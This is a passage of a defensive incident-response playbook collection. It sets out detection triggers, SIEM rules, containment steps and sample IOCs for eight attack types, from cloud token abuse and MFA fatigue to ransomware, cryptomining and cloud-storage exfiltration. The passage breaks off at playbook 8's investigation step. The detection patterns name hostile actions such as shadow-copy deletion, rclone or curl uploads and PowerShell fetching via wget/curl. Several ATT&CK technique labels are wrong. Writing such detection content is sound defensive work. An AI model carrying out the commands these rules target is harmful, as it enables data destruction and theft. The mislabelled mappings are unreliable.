CYBERSECURITY ATTACK DETECTION AND RESPONSE PLAYBOOK 2025

BY IZZMIER IZZUDDIN

Detection and Response Playbook 1: Abuse of Cloud IAM Roles and Stolen Tokens for Privilege Escalation in Multi-Cloud Environments

1. Overview

Attack Type: Cloud Privilege Escalation / Identity Misuse
Tactic: Privilege Escalation, Credential Access, Defense Evasion
Technique (MITRE ATT&CK Cloud):

- T1078.004 – Valid Accounts: Cloud Accounts
- T1550.003 – Use Alternate Authentication Material: Access Tokens
- T1557.002 – Adversary-in-the-Middle: Cloud Traffic Interception
- T1087.004 – Account Discovery: Cloud Account
- T1068 – Exploitation for Privilege Escalation

2. Attack Summary

In this attack scenario, an adversary gains access to cloud access tokens or short-term IAM role credentials, either by:

- Exploiting an over-permissive EC2 instance role (AWS)
- Capturing tokens via MITM or exposed CI/CD environments
- Abusing federated login (e.g. Azure AD or Google SSO)
- Extracting cached credentials from compromised endpoints or cloud CLI tools

Once access is obtained, the attacker:

- Enumerates IAM roles and policies
- Assumes additional roles with higher privileges
- Creates or modifies policies or service accounts for persistence
- Accesses or exfiltrates data from storage (e.g. S3, Blob, GCS), secrets or compute

3. Detection Steps

3.1 Unusual IAM Role Assumption

- Data Source: CloudTrail (AWS), GCP Audit Logs, Azure Activity Logs
- Detection Trigger:
    - AssumeRole or GetAccessToken from unexpected IP/device
    - Use of highly privileged roles (e.g. AdministratorAccess) from uncommon source
    - sts:AssumeRole API from non-standard services or accounts

3.2 Use of Short-Term Credentials Outside Expected Context

- Data Source: Cloud identity telemetry, EDR logs, SIEM
- Detection Trigger:
    - CLI or API activity using tokens from hosts that should not have them
    - Token usage without associated user login or in odd time zones
    - Actions from instances without linked metadata permissions

3.3 Role Chaining or Lateral Escalation Patterns

- Data Source: CloudTrail or identity logs
- Detection Trigger:
    - Multiple AssumeRole hops within short timeframe
    - Chain from low-privilege user to privileged service role
    - Account ID mismatches in AssumeRole calls (cross-account abuse)

4. Response Actions

4.1 Containment

Action 1: Revoke and rotate compromised tokens and keys

- Disable current token/temporary session
- Rotate affected IAM roles and user credentials immediately

Action 2: Temporarily restrict high-privilege roles

- Deny AssumeRole access temporarily for critical admin roles
- Review session policies applied by adversary (inline policies)

Action 3: Disable affected EC2/VM/cloud functions if misused

- Shut down compromised instances
- Remove attached IAM roles from running assets

5. Investigation

5.1 Determine Access Path

Action 4: Trace token generation and role assumption flow

- Was token issued from EC2 metadata endpoint?
- Did attacker pivot via CI/CD platform or credentials file?

Action 5: Identify privilege escalation or lateral steps

- Which roles were assumed, and what permissions were gained?
- Did attacker create new users, tokens or service accounts?

5.2 Determine Data Accessed or Modified

Action 6: Review cloud storage access logs

- Look for GetObject, ListBucket or DownloadBlob API calls
- Identify signs of mass exfiltration or secret collection

Action 7: Analyse IAM change activity

- Was any policy edited, attached or created?
- Were MFA settings, login URLs or trust relationships altered?

6. Recovery and Remediation

6.1 Reset Affected Identity Infrastructure

Action 8: Remove any attacker-added users or roles

- Delete backdoor service accounts or trusted role changes
- Enforce MFA and token expiry policies

Action 9: Audit and harden IAM role assumptions

- Reduce scope of trust relationships (Principal in IAM)
- Limit sts:AssumeRole to approved services and locations

6.2 Improve Cloud Identity Visibility

Action 10: Enable session tagging and logging

- Require SessionName and SourceIdentity in all assumed roles
- Monitor and alert on unknown or anonymous sessions

Action 11: Implement CI/CD and endpoint token hygiene

- Rotate credentials frequently
- Avoid long-term tokens or storing secrets in plaintext

7. Lessons Learned

7.1 Cloud Detection Engineering and Identity Hardening

Action 12: SIEM rule for unusual role assumption across environments

rule: Cloud Role Abuse Detection
if eventName == "AssumeRole"
and sourceIPAddress not in allowlist
and sessionName not in approved_tags
and roleArn in ["*Admin*", "*PowerUser*"]
then alert

Action 13: Purple team simulation of token-based privilege escalation

- Use compromised EC2 token to assume higher privilege roles
- Evaluate if detection, revocation, and alerting occurs in real-time

Action 14: Cloud IAM threat modelling and inventory

- Maintain updated list of roles, trust policies, and cross-account permissions
- Classify sensitive roles and enforce zero-trust IAM assumptions

8. Reporting and Documentation

- Incident ID: DRP-2025-051
- Severity: Critical (Cloud identity compromise and escalation)
- Impact: Attacker gained privileged access to cloud storage and IAM API via stolen short-term credentials
- IOCs Collected:
    - Role ARN: arn:aws:iam::123456789012:role/AdminAccess
    - IP: 52.199.22.10 (unknown Tokyo region IP)
    - API Calls: AssumeRole, PutUserPolicy, GetObject, ListSecrets
- MITRE Mapping:
    - Credential Access: T1550.003
    - Privilege Escalation: T1078.004
    - Defense Evasion: T1068
    - Discovery: T1087.004

Detection and Response Playbook 2: Cloud Account Compromise via MFA Fatigue Attack

1. Overview

Attack Type: Identity-Based Attack
Tactic: Initial Access
Technique (MITRE ATT&CK):

- T1110.003 - Brute Force: Password Spraying
- T1078 - Valid Accounts
- T1621 - Multi-Factor Authentication Request Generation (MFA Fatigue)
- T1530 - Data from Cloud Storage

2. Attack Summary

An attacker obtains valid credentials through previous breaches or password spraying. They then repeatedly push MFA prompts to the victim's mobile device at odd hours, hoping the victim unknowingly or out of annoyance accepts one. Upon successful login, the attacker accesses cloud resources (e.g. Microsoft 365, Google Workspace), exfiltrates data and may establish persistence.

3. Detection Steps

3.1 Cloud Authentication Logs

- Data Source: Identity Provider (e.g., Azure AD, Okta, Google Admin)
- Detection Trigger:
    - Multiple failed MFA attempts followed by a successful one
    - Geographic anomaly (impossible travel or unusual location)
    - Login from new device and unfamiliar IP
- Indicators:
    - High frequency of sign-in requests from the same IP or user
    - Sign-ins at unusual hours
    - MFA status showing multiple denials followed by a single approval

3.2 SIEM Alert Correlation

- Data Source: SIEM Platform (e.g., Splunk, Sentinel)
- Correlation Logic:
    - Repeated sign-in attempts within a short time window (e.g. 10 requests in 5 minutes)
    - Same user, multiple MFA prompts

    - Successful login followed by high-volume download from OneDrive or Google Drive

3.3 Cloud Activity Logs

- Data Source: Cloud platform logs (e.g., Microsoft 365 Unified Audit Logs)
- Detection Trigger:
    - Bulk downloads, mailbox access, permission changes
    - New rules added to inbox (e.g., auto-forward to external)
    - Session token reuse or creation of OAuth tokens

4. Response Actions

4.1 Containment

Action 1: Immediate account lockdown

- Disable account temporarily in IdP
- Invalidate active sessions and refresh tokens
- Force password reset using secure method (e.g., admin reset + user verification)

Action 2: Block IP and revoke access

- Add source IP to blocklist
- Revoke OAuth tokens if present
- Disable MFA method temporarily to prevent further abuse

Action 3: Stop exfiltration

- Suspend or limit access to cloud storage services (e.g., OneDrive, Drive)
- Monitor for any ongoing data downloads or sync operations

5. Investigation

5.1 Account Forensics

Action 4: Review sign-in logs

- Identify time, location, IP of attack
- Compare device fingerprints
- Validate session length and scope of access

Action 5: Review mailbox and file access

- Audit which emails were accessed
- Check for inbox rules, forwarding or delegation
- Review OneDrive/SharePoint/Google Drive download logs

Action 6: Determine lateral movement

- Check if the same IP targeted other users
- Look for new device registrations, permission escalations or admin role abuse
- Investigate for token misuse (e.g., via OAuth apps)

6. Recovery and Remediation

6.1 Secure the User Account

Action 7: Enforce strong password policy

- Require complex password reset
- Enforce 2FA and password rotation if not already in place
- Block use of breached passwords using threat intelligence feed

Action 8: Reconfigure MFA

- Switch from push-based MFA to phishing-resistant MFA (e.g., FIDO2, hardware token)
- Educate user on how to respond to MFA prompts properly
- Re-register trusted devices

Action 9: Review and clean inbox rules and permissions

- Delete unauthorized forwarding rules
- Reset mailbox permissions
- Notify affected users if emails were forwarded

7. Lessons Learned

Action 10: Incident review

- Conduct root cause analysis
- Confirm whether credentials were reused or brute-forced
- Establish whether other users were affected

Action 11: Prevent recurrence

- Disable legacy authentication (e.g., POP, IMAP if not used)

- Use conditional access policies (e.g., geolocation restrictions)
- Implement risk-based sign-in policies

Action 12: Update detection content

- Enhance SIEM rule:

  rule: MFA Fatigue Detection
  if user_signin_events > 10 within 5 minutes
  and result contains multiple MFA failures followed by success
  and source_ip not in known_location_list
  then alert

8. Reporting and Documentation

- Incident ID: DRP-2025-002
- Severity: Critical
- Impact: Successful login from attacker IP, file exfiltration confirmed
- Affected Services: Microsoft 365, OneDrive
- IOCs Collected:
  - IP: 45.82.219.111
  - User Agent: Windows 10 Edge/119.0
  - MFA status timeline: Deny-Deny-Deny-Accept
- MITRE Mapping:
  - Initial Access: T1110.003, T1621
  - Credential Access: T1078
  - Collection: T1530
  - Exfiltration: T1048.003

Detection and Response Playbook 3: Endpoint Compromise via Malicious USB Drop

1. Overview

Attack Type: Physical Access / Social Engineering
Tactic: Initial Access, Execution
Technique (MITRE ATT&CK):

- T1200 - Hardware Additions
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1056.001 - Input Capture: Keylogging
- T1113 - Screen Capture

2. Attack Summary

A malicious actor drops multiple USB flash drives in a target organisation's parking lot or reception area. A curious employee plugs the USB into a company workstation. The device emulates a Human Interface Device (HID) or contains an autorun script that executes malicious code, downloads a payload, establishes persistence and begins credential harvesting or surveillance.

3. Detection Steps

3.1 USB Device Insertion Detection

- Data Source: Endpoint Detection and Response (EDR), Windows Event Logs, USB monitoring tools
- Detection Trigger:
    - Unknown USB device detected on system
    - Device class = "HID" or mass storage inserted with no prior history
    - New driver installation from removable media

3.2 Process Anomaly Detection

- Data Source: EDR, Sysmon logs
- Detection Trigger:
    - Execution of PowerShell, CMD or WScript within 30 seconds of USB insertion
    - Unusual process spawn chain: explorer.exe > powershell.exe > wget/curl
    - Execution from USB mount path (E:\, F:\ etc.)

3.3 File and Registry Monitoring

- Data Source: Sysmon, EDR
- Detection Trigger:

    - Creation of suspicious autoruns or scheduled tasks
    - Registry modifications in Run or RunOnce
    - Dropped files in unusual directories (e.g., C:\Users\Public\Temp\)

4. Response Actions

4.1 Containment

Action 1: Isolate the host

- Immediately isolate affected endpoint via EDR
- Prevent remote control or lateral spread

Action 2: Revoke credentials

- Reset user credentials from the affected machine
- Check for any credential dumping or token reuse activity

Action 3: Seize the USB device

- Remove and secure the physical USB drive
- Transfer to digital forensics team for imaging and analysis

5. Investigation

5.1 Timeline Reconstruction

Action 4: Build event timeline

- Identify time of USB insertion
- Correlate with process execution, logon activity and network connections
- Determine first point of compromise and propagation (if any)

5.2 Forensic Analysis

Action 5: Analyse USB device image

- Examine for autorun scripts, embedded executables or payloads
- Identify tools used (e.g., Rubber Ducky, Bash Bunny)

Action 6: Analyse endpoint behavior

- Investigate dropped files, new users or services
- Look for malware signatures, persistence mechanisms

- Examine memory for keyloggers or screen capture tools

5.3 Network Analysis

Action 7: Review network traffic

- Look for outbound connections from affected endpoint
- Identify possible C2 communication or data exfiltration
- Use Zeek, Suricata or NDR platforms to inspect traffic

6. Recovery and Remediation

6.1 Clean and Reimage

Action 8: Wipe and reimage affected host

- Do not trust post-cleanup system unless full forensic confidence is achieved
- Apply OS and endpoint hardening during rebuild

Action 9: Restore from backups if needed

- Ensure clean state recovery
- Validate backup integrity and scan files before restoring

6.2 Harden USB Policy

Action 10: Disable USB usage

- Enforce Group Policy to block USB ports except for approved devices
- Use device control features in endpoint platforms (e.g., allow list for vendor/product IDs)

Action 11: Educate employees

- Train users to never connect unknown USB drives
- Incorporate USB drop tests during security awareness campaigns

7. Lessons Learned

7.1 Security Gaps Review

Action 12: Identify why USB activity was not blocked

- Check if DLP, EDR or USB policy was missing or misconfigured
- Evaluate user awareness gaps

7.2 Policy and Monitoring Improvement

Action 13: Implement USB-specific alerting in SIEM

rule: USB Insertion and Script Execution
if USB device inserted and
PowerShell or CMD execution within 60 seconds
then alert as Potential USB Attack

Action 14: Implement full asset inventory and anomaly detection

- Detect when unauthorised hardware is connected
- Integrate asset fingerprinting with SIEM and NAC systems

8. Reporting and Documentation

- Incident ID: DRP-2025-003
- Severity: High (initial access with possible credential harvesting)
- Impact: Limited to one workstation, no confirmed lateral movement
- IOCs Collected:
    - Hash: 1c4f9abf31297d4a003fae38a988dcfd
    - File path: E:\dropper.ps1
    - C2 IP: 194.38.20.118
- MITRE Mapping:
    - Initial Access: T1200
    - Execution: T1059.001
    - Credential Access: T1056.001
    - Collection: T1113

Detection and Response Playbook 4: Business Email Compromise (BEC) with Financial Fraud Attempt

1. Overview

Attack Type: Social Engineering / Identity Compromise
Tactic: Initial Access, Collection, Impact
Technique (MITRE ATT&CK):

- T1078.004 - Valid Accounts: Cloud Accounts
- T1110.003 - Brute Force: Password Spraying
- T1530 - Data from Cloud Storage
- T1585.002 - Compromise of Legitimate Accounts
- T1598.002 - Spearphishing via Service
- T1566.002 - Phishing: Spearphishing Link

2. Attack Summary

In this scenario, an attacker gains access to a corporate email account (typically finance, procurement or C-level executive) through credential compromise. The attacker monitors communications, registers a lookalike domain or continues using the compromised account to send fake payment instructions to internal finance staff or external vendors. If successful, funds are transferred to an attacker-controlled bank account.

3. Detection Steps

3.1 Cloud Identity and Email Logs

- Data Source: Azure AD, Google Workspace, M365 Audit Logs
- Detection Trigger:
    - Successful login from unusual IP or geolocation
    - Use of legacy protocols (e.g., IMAP, SMTP)
    - Email sent from an unusual browser or OS
    - Multiple email forwards created

3.2 Email Behaviour Analytics

- Data Source: Email Security Platform, CASB, DLP
- Detection Trigger:
    - Mailbox rule that forwards emails to external addresses
    - Sudden spike in email volume from a finance mailbox
    - Usage of financial keywords in external communications: “urgent payment”, “wire transfer”, “bank account”

3.3 SIEM Alerting

- Data Source: SIEM (e.g. Sentinel, Splunk)
- Correlation:
    - Anomalous login + suspicious email behaviour
    - Login from a country where the business has no presence
    - Multiple failed MFA attempts followed by approval

4. Response Actions

4.1 Containment

Action 1: Lock compromised account

- Disable login and reset password
- Revoke all active sessions and OAuth tokens
- Investigate whether shared mailboxes or delegates were accessed

Action 2: Identify and block attacker infrastructure

- Block attacker IPs and domains at email gateway and firewall
- Block the lookalike domain if used
- Alert staff to avoid responding to any suspicious emails

Action 3: Stop financial fraud

- Immediately contact finance team and halt any pending payments
- Contact bank or intermediary if transaction already occurred
- Escalate to law enforcement and financial fraud hotline

5. Investigation

5.1 Email Timeline Analysis

Action 4: Review email logs

- Identify all emails sent from the compromised account
- Look for patterns like changed sender display names, similar domains
- Analyse header information for real IP, user agent

Action 5: Review inbox rules and access

- Export list of inbox rules and auto-forward configurations
- Check for any backdoor rules (e.g., move incoming email to "Archive" or "Deleted")

- Review audit logs for mailbox delegate and Send-As actions

5.2 Account Access Analysis

Action 6: Determine method of compromise

- Credential reuse, password spraying or phishing link
- Review security configuration: was MFA enabled? Legacy auth allowed?

Action 7: Check for lateral movement

- Did the attacker attempt to access other mailboxes via delegate or admin tokens?
- Review tenant-wide logs for spread

6. Recovery and Remediation

6.1 Clean the Environment

Action 8: Remove malicious rules

- Manually delete or use PowerShell to remove suspicious inbox rules
- Remove any unknown forwarders or permissions

Action 9: Re-secure affected accounts

- Enforce strong password and enable MFA
- Disable legacy authentication across the organisation
- Re-onboard accounts using secure methods

6.2 Organisation-Wide Measures

Action 10: Validate all recent financial transactions

- Verify authenticity of all payment approvals made in the last 30 days
- Flag changes to vendor banking details for re-verification

Action 11: Update financial controls

- Implement call-back verification for all account or payment changes
- Use dual-approval workflows for wire transfers

7. Lessons Learned

7.1 Strategic Review

Action 12: Analyse why the compromise succeeded

- Missing MFA, no detection on abnormal login
- Weak financial approval workflow
- Poor email hygiene (lack of SPF/DKIM/DMARC)

7.2 Detection Rule Tuning

Action 13: Enhance SIEM alerting

rule: Suspicious Login and Financial Email
if successful_login_from_unusual_country
and mailbox_rule_created or email_sent_with_keywords ["wire", "payment", "bank"]
then alert

Action 14: Setup threat hunting queries

- Hunt for recent use of legacy auth
- Investigate all recent inbox rule changes

8. Reporting and Documentation

- Incident ID: DRP-2025-004
- Severity: Critical (fraud attempt involving financial transaction)
- Impact: Attempted wire fraud, account compromised, no fund loss confirmed
- IOCs Collected:
    - Attacker IP: 156.232.91.45
    - Lookalike domain: finanace-dept.co
    - User Agent: Windows 10 Edge/118.0
- MITRE Mapping:
    - Initial Access: T1566.002, T1078.004
    - Credential Access: T1110.003
    - Collection: T1530
    - Impact: T1585.002, T1598.002

Detection and Response Playbook 5: Ransomware Detected on File Server via Lateral Movement

1. Overview

Attack Type: Ransomware (Human-operated)
Tactic: Lateral Movement, Impact
Technique (MITRE ATT&CK):

- T1021.002 - Remote Services: SMB/Windows Admin Shares
- T1071.001 - Application Layer Protocol: Web Protocols
- T1486 - Data Encrypted for Impact
- T1562.001 - Impair Defenses: Disable or Modify Tools
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1003 - OS Credential Dumping

2. Attack Summary

An internal workstation is compromised via phishing or malware dropper. The attacker uses stolen credentials to move laterally through the network using SMB and remote PowerShell, targeting a high-value file server. Once control is achieved, data is exfiltrated, backups are wiped and ransomware is deployed. Files are encrypted and a ransom note is dropped.

3. Detection Steps

3.1 Endpoint and Network Alerts

- Data Source: EDR, NDR, Sysmon, Windows Event Logs
- Detection Trigger:
    - Remote PowerShell session from an unusual host
    - Execution of encryption tools or file renaming in bulk
    - Unusual SMB traffic from non-admin systems
    - Unexpected outbound traffic to rare destinations

3.2 SIEM Alerting

- Correlation Events:
    - Lateral movement: SMB session + logon success + PowerShell execution
    - Execution of file encryption process (e.g. vssadmin delete shadows, cipher.exe, rclone)
    - File entropy spikes and file extension changes on network shares
    - Creation of ransom note (readme.txt, how_to_recover.txt)

3.3 DLP and File Integrity Monitoring

- Data Source: DLP, FIM systems
- Detection Trigger:
    - Sudden deletion or encryption of bulk files
    - Change in file hash and extension across shared folders
    - Write access by users outside normal operating hours

4. Response Actions

4.1 Containment

Action 1: Isolate affected machines

- Immediately isolate infected file server and compromised endpoints using EDR/NAC
- Disconnect from all network segments

Action 2: Block C2 channels

- Identify and block outbound connections to attacker-controlled IPs or domains
- Terminate ongoing sessions and disable accounts used in the attack

Action 3: Preserve evidence

- Create disk and memory images of compromised systems
- Export logs from SIEM, EDR and firewall for forensic investigation

5. Investigation

5.1 Root Cause Analysis

Action 4: Trace initial compromise

- Identify patient zero (first infected endpoint)
- Analyse phishing email or malicious document
- Confirm whether user executed payload

Action 5: Map lateral movement

- Correlate RDP, SMB, PowerShell usage across devices
- Investigate login patterns and stolen credentials
- Use BloodHound or AD audit tools to review privilege escalation path

Action 6: Malware and Payload Analysis

- Extract and detonate ransomware sample in sandbox
- Identify encryption type, ransom note content and known ransomware family
- Match IOCs against threat intel feeds

6. Recovery and Remediation

6.1 Restore Operations

Action 7: Identify scope of encrypted files

- Use file backup metadata and logs to determine last known good state
- Restore from clean offline backups only after full environment sanitisation

Action 8: Clean and reimage endpoints

- Remove infected systems from domain
- Reimage all compromised devices after collecting forensics
- Do not decrypt systems using attacker-provided tools

6.2 Infrastructure Hardening

Action 9: Disable lateral tools

- Block use of remote PowerShell where not needed
- Disable WMI and SMBv1
- Enforce least privilege access model and segmentation

Action 10: Patch and review

- Apply missing security patches, especially for known exploited vulnerabilities
- Perform AD hygiene cleanup (disable unused accounts, rotate passwords)

7. Lessons Learned

7.1 Post-Mortem Review

Action 11: Incident debrief

- Create full timeline: compromise, lateral movement, encryption
- Assess effectiveness of detection and containment
- Evaluate response time and resource mobilisation

7.2 Improve Detection Capabilities

Action 12: Detection Engineering

rule: Suspicious File Encryption Activity
if file_extension_changes > 100 in 5 minutes
and file_entropy > 7.5
and user_activity_outside_business_hours
then alert as Potential Ransomware

Action 13: Hunt for ransomware indicators

- Monitor for:
    - Shadow copy deletion
    - File renaming tools
    - Network share write spikes

8. Reporting and Documentation

- Incident ID: DRP-2025-005
- Severity: Critical
- Impact: Internal file server encrypted, backups targeted, multiple user data affected
- IOCs Collected:
    - Ransomware hash: 91f37a9b2a7f8460c9f97b58a89335df
    - IP: 185.203.119.51
    - Ransom note filename: !RECOVER_FILES!.txt
    - Encryption tool: locker64.exe
- MITRE Mapping:
    - Lateral Movement: T1021.002
    - Credential Access: T1003
    - Execution: T1059.001
    - Impact: T1486, T1562.001

Detection and Response Playbook 6: Supply Chain Attack via Compromised Software Update

1. Overview

Attack Type: Supply Chain Compromise
Tactic: Initial Access, Execution, Persistence
Technique (MITRE ATT&CK):

- T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain
- T1554 - Compromise Client Software Binary
- T1059 - Command and Scripting Interpreter
- T1546.016 - Event Triggered Execution: Installer Packages
- T1071.001 - Application Layer Protocol: Web Protocols
- T1055 - Process Injection

2. Attack Summary

A legitimate software vendor unknowingly distributes an application or update package that has been trojanised by a threat actor (e.g. SolarWinds-type incident). The compromised update contains a stealthy backdoor that, once installed by the customer organisation, provides the attacker remote access to internal systems. The malware hides within legitimate processes, bypasses EDR and is used to collect sensitive data or initiate lateral movement over time.

3. Detection Steps

3.1 Software Update Event Detection

- Data Source: Application logs, EDR, Endpoint telemetry
- Detection Trigger:
    - New version of a trusted application installed outside of scheduled patch cycles
    - Update package hash mismatch with known-good version
    - Unusual behaviour post-installation (e.g. unexpected network connections)

3.2 Network Communication Monitoring

- Data Source: NDR, Firewall logs, DNS logs
- Detection Trigger:
    - Beaconing to uncommon external IPs or domains from software process
    - Use of encrypted or staged communication over standard ports (e.g. HTTPS)
    - DNS requests to dynamically generated domains (DGAs)

3.3 Behavioural Indicators on Endpoint

- Data Source: EDR, Sysmon
- Detection Trigger:
    - Known binary spawning command shells or scripts
    - Process injection into trusted system processes (e.g. svchost.exe, services.exe)
    - Creation of scheduled tasks or registry persistence linked to the updated software

4. Response Actions

4.1 Containment

Action 1: Isolate affected systems

- Identify endpoints or servers running the compromised software
- Isolate from the network using EDR or NAC

Action 2: Block outbound communications

- Identify C2 domains or IPs contacted by the backdoor
- Block these at firewall, DNS and proxy level
- Revoke credentials or sessions if harvested

Action 3: Notify vendor and obtain IOC advisories

- Validate whether the software update was compromised globally
- Work with vendor or CERT teams to validate signed binaries and update status

5. Investigation

5.1 Identify Patient Zero

Action 4: Locate first system with infected software

- Correlate installation logs and hash records
- Trace lateral movement from initial infected node

Action 5: Verify scope of compromise

- Determine how many devices installed the malicious update
- Identify which systems established outbound connections or spawned child processes

5.2 Malware Behaviour Analysis

Action 6: Detonate malicious binary in sandbox

- Understand post-execution payload
- Identify what persistence or communication methods were used

Action 7: Examine affected processes

- Look for DLL sideloading, process hollowing or reflective loading
- Capture memory and inspect suspicious processes

6. Recovery and Remediation

6.1 Remove Compromised Software

Action 8: Uninstall trojanised version

- Validate clean installer from vendor
- Replace all affected binaries
- Reimage if backdoor activity confirmed

Action 9: Rotate credentials

- Especially service accounts or accounts used on affected systems
- Enforce privileged account review and credential vaulting

6.2 Patch and Update Controls

Action 10: Implement software verification

- Use code-signing verification and hash comparison tools
- Involve internal security team in software testing before production rollout

Action 11: Segment software update servers

- Apply strict controls to patch management systems
- Prevent them from having unrestricted internet access

7. Lessons Learned

7.1 Supply Chain Risk Review

Action 12: Perform risk assessment of software vendors

- Review third-party software trust relationships
- Implement software bill of materials (SBOM) tracking

7.2 Detection Engineering

Action 13: Custom SIEM rule

rule: Suspicious Behaviour from Updated Software
if software_install_event
and parent_process in [trusted_app.exe]
and child_process in [cmd.exe, powershell.exe, wscript.exe]
then alert

Action 14: Monitor rare domains from legitimate binaries

- Build baseline of software domain communication
- Trigger alert on deviations or DGA-like patterns

8. Reporting and Documentation

- Incident ID: DRP-2025-006
- Severity: High (stealth access through trusted software supply chain)
- Impact: Multiple systems installed compromised software; C2 communication observed
- IOCs Collected:
    - Malicious DLL hash: ab52d31eaf7cc92e50ff9841dca0f617
    - C2 Domain: update-check.cloudsync-secure.net
    - Process Chain: trusted_app.exe > powershell.exe > outbound_https.exe
- MITRE Mapping:
    - Initial Access: T1195.002
    - Execution: T1059
    - Persistence: T1546.016
    - C2: T1071.001
    - Defense Evasion: T1055

Detection and Response Playbook 7: Cloud Resource Abuse for Cryptocurrency Mining

1. Overview

Attack Type: Resource Hijacking / Cloud Misuse
Tactic: Initial Access, Execution, Impact
Technique (MITRE ATT&CK):

- T1078.004 - Valid Accounts: Cloud Accounts
- T1082 - System Information Discovery
- T1496 - Resource Hijacking
- T1203 - Exploitation for Client Execution
- T1059.003 - Command and Scripting Interpreter: Unix Shell
- T1569.002 - Service Execution

2. Attack Summary

A cloud account (e.g. AWS, Azure, GCP) is compromised due to weak credentials, exposed keys or misconfigured IAM policies. The attacker then deploys crypto-mining workloads using auto-scaling services like AWS EC2, Azure VMs or GCP Compute Engine. These workloads consume compute resources to mine cryptocurrencies, leading to high usage bills and degraded system performance. Often, attackers use obfuscated shell scripts and container images from public registries.

3. Detection Steps

3.1 Cloud Account Access Monitoring

- Data Source: Cloud IAM logs, CloudTrail, Azure Sign-In Logs
- Detection Trigger:
    - Login from suspicious geolocation or new IP address
    - Use of credentials from previously unused regions
    - Newly created access tokens or service accounts without justification

3.2 Cloud Workload Activity

- Data Source: Cloud Compute logs, Billing metrics, CloudWatch, Stackdriver
- Detection Trigger:
    - Sudden spike in CPU, GPU or network usage
    - Unusual deployment of large compute instances (e.g., multiple EC2 GPU-enabled machines)
    - New VM deployments with public container images known for mining

3.3 Network Traffic and Payload Indicators

- Data Source: VPC Flow Logs, Firewall Logs, EDR on cloud endpoints
- Detection Trigger:
    - Outbound connections to mining pools (e.g., minexmr.com, pool.hashvault.pro)
    - Executions of common miners (e.g., xmrig, ethminer)
    - Obfuscated shell commands or cron jobs spawning mining scripts

4. Response Actions

4.1 Containment

Action 1: Disable compromised accounts

- Immediately revoke exposed API keys and user credentials
- Disable and isolate IAM roles associated with malicious activity

Action 2: Terminate suspicious workloads

- Identify and forcibly stop compute instances used for mining
- Remove or quarantine malicious containers, VM images or scripts

Action 3: Block outbound mining communications

- Block known crypto mining pool IPs and domains in VPC firewall
- Use DNS-level sinkholes to prevent mining traffic

5. Investigation

5.1 Root Cause Analysis

Action 4: Identify entry point

- Was it an exposed API key, public Git repo, weak password or misconfigured IAM policy?
- Review all credential-related alerts in the last 7 days

Action 5: Review access and activity trail

- Use CloudTrail, Activity Logs to map what changes attacker made
- Identify if escalation occurred (e.g., new role creation, privilege assignment)

5.2 Workload and Code Analysis

Action 6: Pull malicious scripts and container images

- Download and analyse mining binaries or shell scripts
- Check for persistence mechanisms like cron jobs or hidden services

Action 7: Billing and impact validation

- Calculate overage cost due to mining
- Check if critical workloads were interrupted or degraded

6. Recovery and Remediation

6.1 Secure Cloud Environment

Action 8: Rotate and revoke all credentials

- Revoke affected access keys and secrets
- Rotate user credentials and enforce MFA for all accounts

Action 9: Restrict IAM roles and permissions

- Implement least privilege across all services
- Disable programmatic access where not required
- Use policy conditions to prevent out-of-region deployments

6.2 Harden Cloud Configuration

Action 10: Enforce infrastructure-as-code with guardrails

- Define pre-approved templates with limited instance types
- Block use of public container images or GPU-enabled instances unless approved

Action 11: Enable usage and cost alerts

- Setup automated billing alarms for each service
- Configure anomaly detection in cloud billing dashboard

7. Lessons Learned

7.1 Cloud Security Posture Review

Action 12: Perform full posture assessment

- Use CSPM (Cloud Security Posture Management) to scan for misconfigurations
- Audit public exposure (e.g., S3 buckets, GCS objects, open ports)

Action 13: Build custom detection rules

rule: Suspicious Compute Resource Spike
if new_instance_launch in unknown_region
and CPU_usage > 90% for > 1 hour
and outbound_traffic_to_known_crypto_domains
then alert

7.2 Threat Intelligence and Awareness

Action 14: Subscribe to crypto mining IOCs

- Integrate feeds into SIEM and cloud monitoring tools
- Maintain deny list of mining tools and services

8. Reporting and Documentation

- Incident ID: DRP-2025-007
- Severity: High (unauthorised cloud compute consumption, potential cost impact)
- Impact: 15 GPU-enabled VMs launched for 6 hours, RM8,000 in estimated usage fees
- IOCs Collected:
    - Image name: ubuntu:crypto-xmrig-latest
    - Domain: pool.minexmr.com
    - Hash: 4d821b7c290c5f9837c8ea5dba2a9d1a
- MITRE Mapping:
    - Initial Access: T1078.004
    - Execution: T1059.003
    - Impact: T1496
    - Persistence: T1569.002
    - C2: T1071.001

Detection and Response Playbook 8: Data Exfiltration via Cloud Storage Misuse

1. Overview

Attack Type: Insider Threat / Credential Compromise / Stealthy Exfiltration
Tactic: Collection, Exfiltration
Technique (MITRE ATT&CK):

- T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage
- T1071.001 - Application Layer Protocol: Web Protocols
- T1020 - Automated Exfiltration
- T1081 - Credentials in Files
- T1114 - Email Collection

2. Attack Summary

An attacker or insider uploads confidential data (e.g. source code, financial records, personal information, credentials) to personal cloud storage services like Dropbox, Google Drive or OneDrive. This may occur via browser, synced app or CLI/API calls. Because it uses common services over HTTPS, it often evades traditional DLP and firewall detection. The exfiltration may be slow and persistent or large and sudden depending on the attack intent.

3. Detection Steps

3.1 Network-Level Detection

- Data Source: Proxy logs, DNS logs, NDR tools (e.g. Darktrace, Vectra)
- Detection Trigger:
    - Outbound traffic to cloud storage domains from unusual users or systems
    - Upload spikes to dropbox.com, drive.google.com, onedrive.live.com
    - TLS sessions to consumer cloud services with large volume of data

3.2 Endpoint-Level Detection

- Data Source: EDR, Sysmon, DLP agents
- Detection Trigger:
    - Execution of upload commands (e.g. rclone, curl, gsutil)
    - File copies to known sync folders (e.g. C:\Users\John\Dropbox\)
    - Zipping large files prior to upload (7z.exe, WinRAR, powershell Compress-Archive)
    - Removal of file metadata (e.g. exiftool) or encryption tools before upload

3.3 User Behaviour Analytics (UBA)

- Data Source: SIEM with UEBA module, CASB
- Detection Trigger:
    - User performing bulk file access and transfer outside working hours
    - First-time user accessing cloud storage domains
    - User bypassing proxy to access Dropbox or similar using TOR/VPN

4. Response Actions

4.1 Containment

Action 1: Block ongoing upload

- Immediately block the endpoint from accessing cloud storage via proxy or firewall
- Use CASB to revoke access tokens or block sync applications

Action 2: Isolate the endpoint

- If EDR confirms active exfiltration, isolate the endpoint to prevent further leaks
- Disable user account if malicious behaviour is confirmed

Action 3: Alert legal and compliance teams

- Escalate to legal if regulated data (e.g. PII, PHI, financial records) is involved
- Prepare for potential regulatory reporting

5. Investigation

